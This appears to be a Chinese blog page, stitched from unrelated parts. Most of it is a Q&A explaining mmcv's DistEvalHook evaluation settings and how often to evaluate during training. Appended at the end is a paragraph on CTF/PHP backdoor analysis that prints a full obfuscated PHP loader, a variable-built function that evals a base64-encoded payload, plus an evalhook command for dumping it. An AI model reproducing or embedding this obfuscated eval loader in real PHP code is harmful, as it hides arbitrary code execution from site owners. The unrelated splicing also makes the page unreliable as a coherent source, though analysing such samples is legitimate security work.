详细解释这句eval_hook = DistEvalHook(val_dataloader, **eval_cfg)的含义

这个 evaluation 字典包含了一些配置参数,用于设置模型评估的方式。让我来逐一解释一下:

  1. interval=1: 表示每隔 1 个 epoch 进行一次评估。

  2. metrics=['top_k_accuracy', 'mean_class_accuracy']: 表示在评估过程中需要计算的指标有 "top-k 精度"和"平均类别精度"。

  3. topk=(1, 5): 表示计算 top-1 和 top-5 精度。

  4. key_indicator='RGBPose_1:1_top1_acc': 这个参数用于指定在保存最佳模型时需要关注的指标。在这个例子中,它指的是 "RGBPose_1:1_top1_acc" 这个指标,也就是 top-1 精度。

这些参数会被用于配置 DistEvalHook 实例,以控制模型在验证集上的评估过程。具体来说:

  • interval=1 对应于 DistEvalHook 的 interval 参数,表示每隔 1 个 epoch 进行一次评估。
  • metrics 和 topk 会被传递给数据集的 evaluate 函数,用于计算对应的评估指标。
  • key_indicator 会被用于确定在保存最佳模型时需要关注的指标。

通过这样的配置,我们可以灵活地控制模型评估的方式,包括评估的频率、评估指标以及保存最佳模型的依据等。这有助于我们更好地分析模型的性能,并调整模型以提高其在特定任务上的表现。

评估模型并不一定需要等到所有训练轮次结束之后再进行,在训练过程中就可以进行定期评估。这样做有以下几个好处:

  1. 可以及时了解模型在训练过程中的性能情况,及时发现问题并调整训练策略。

  2. 可以保存训练过程中表现最好的模型,而不是仅仅保存最终的模型。这对于训练过程不稳定的模型很有帮助。

  3. 可以根据评估结果决定是否提前结束训练,或者调整超参数等,提高训练效率。

  4. 对于一些训练时间较长的大型模型来说,分阶段评估比一次性评估更加实用。

在训练过程中进行定期评估,而不是等到所有轮次训练结束之后再评估,确实是一种很好的做法。这种边训练边评估的方式可以让模型训练更加高效和灵活。

是不是每训练一个轮次就开始评估一下,然后第二个轮次训练完之后,再评估一下?

通常情况下,我们不会在每训练一个轮次就立即进行评估。这样做可能会带来以下问题:

  1. 过于频繁的评估会降低训练效率,因为评估本身也需要耗费一定的计算资源和时间。

  2. 单个轮次的训练可能无法充分反映模型的整体性能,需要评估更多训练轮次累积的效果。

  3. 模型在训练初期通常会有较大的波动,频繁评估可能会得到不太可靠的结果。

通常情况下,我们会根据一定的周期(如每5个或10个轮次)进行一次评估。这样可以兼顾训练效率和评估效果。

比如,在上面提到的 DistEvalHook 中,seg_interval 参数就是用来控制评估周期的。它定义了多个评估区间,比如在前100个轮次,每10个轮次评估一次;在100个轮次以后,每20个轮次评估一次。这种方式可以较好地平衡训练和评估的需求。

所以,我们一般不会在每个训练轮次之后立即进行评估,而是根据一定的周期进行评估。这样可以提高训练的整体效率和评估的可靠性。

 

https://zhuanlan.zhihu.com/p/448600739

mmcv.runner.hooks.evaluation — mmcv 1.4.5 文档

https://github.com/kennymckormick/pyskl/blob/main/configs/rgbpose_conv3d/rgbpose_conv3d.py

CTF/php后门分析中经常遇到加密压缩过的PHP文件, <? $O00OO0=urldecode("n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iQk9DWm1LUHF5bkR4QWJmR05FdW90c2pkUlljcmlKTXdWZ0ZVenZYTGthVFNwSWxoZUhRV1dITmZhQ0d5b3RzanBRTFN3WXpyYmx4aERjQXZUT1VQUklpdW1aSmVrbktkcWdNVlhGRUJHczh3TmFWTWNCRE1BVElURTI5emhTUnpoTjEwWEpXTUhUVzBmSlYwZTJWMFFCUDdnU3dyY0pPbWZKRTloSkRhZUtJVENLbElzRXFxZlRJVmZhTWxmUjlNWFNNbWhGVXJPbzRaZlNpMGNkOXFRdHcwY0JqbGVhalpjMmx0Q2Rrd050bHdOVHBJZ05XcmZCaWtmSmdyZ2tqWmMyaTBuQjl6SFRwWm5CNW1oU2lsUU45cVFhRE1YTjVQbkZwVENLbHdOVHBJZ05XTVhTTTBIUDBDTEUwQ2ZTUmFuQjVNQ05oV3VpV0x1azlHUk5BbGdGdzBBTTlvZkpXbGNCd01DTmhBSk5BbGdOQVpPb1BJZlNNb1FhaWJmZFZMSjBmT0tZUkxKb2txQ0tsd05UOHlnSEI2TUhYdXlIQkV4WFh0bEZoM2hvNVZmUzFxUWE0emMyNHllUDBDZlNSYW5CNU1DTmhXdWlXTEtraXdEZEFsZ05oVkFGcHRDS2x3TlQ4eWdIQjZNSFh1eUhYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzBpRXVpOUVFUkRnT29QSU9vNFpjMjFtaFNpWmVvQXFIUDBDZW9ySTVxQlA1cjJ6NTV6ejVRMlJDVDh3TmFETWZhTXpmZEl0dVlNSEowRFdSWWlMdVlpdWROQWxnTkF6ZTJEVmhTWVpPb2s3c0VyWkNUc2FUbnRNbGZKdGE2N01aZnV5ZVAwQ2ZTUmFuQjVNQ05oaUJpRGlLa0RMdVlpdWROQWxnWWlFdWk5RUVSRGdnTjRJTzBSNGhTUnpmTjh0Q0tsd05UOHlnSGFpeFhYOXZ6bkJWK2Q3YnpYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzB3R0trZkx1WWl1ZE5BbGdpV09LTTlZRVJEV0oxV1dSWUlJZVRwdGMyOXpmYU10ZW9BcUhQMENlb3JJNXFCUDVyMno1NXp6NVEyUkNUOHdOYURNZmFNemZkSXR1TVJIUllNd0RSOUVFUkRnT29QSU9vNFpKM08xUXREcVFCdVpPb2s3c0VyWkNUV2dSWTFVNmYyZjVyTlc1cW5GNWV6MjU1eno1UTJSQ1Q4d05UOFpmU1JhbkI1TUNOaGdSWTFVSjFXV1JZSXRlTldFZHU1TERZaXVFUjlFRVJEZ2dONElPMlYwUUJQWk9vazdzRXJaQ1RXWUR1T1JEK0I4SUhCaWxvclpzRXFrZkJmcVFhdXJPMGlFdWk5WUR1T1JEb0FsZ1NmVlFGd01DS2x3TnRPTUFKUnFBYXVyZ1Q0WmMyOW9mZDl1blNNem4xV2d1Tjl1blNNem4xV2d1TjVQbkZwVENLbHdOSTBDc0VyL0dJPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?> 编译环境 ===================================================================== PHP : /usr/bin/php7.2 PHP_SAPI : cli PHP_VERSION : 7.2.9-1 ZEND_VERSION: 3.2.0 PHP_OS : Linux - Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64 INI actual : /root/temp/evalhook/tmp-php.ini More .INIs : CWD : /root/temp/evalhook Extra dirs : VALGRIND : Not used ===================================================================== TIME START 2019-01-04 07:46:12 ===================================================================== php -d extension=evalhook.so encoded_script.php 可直接dump大部分加密php文件中eval中的内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值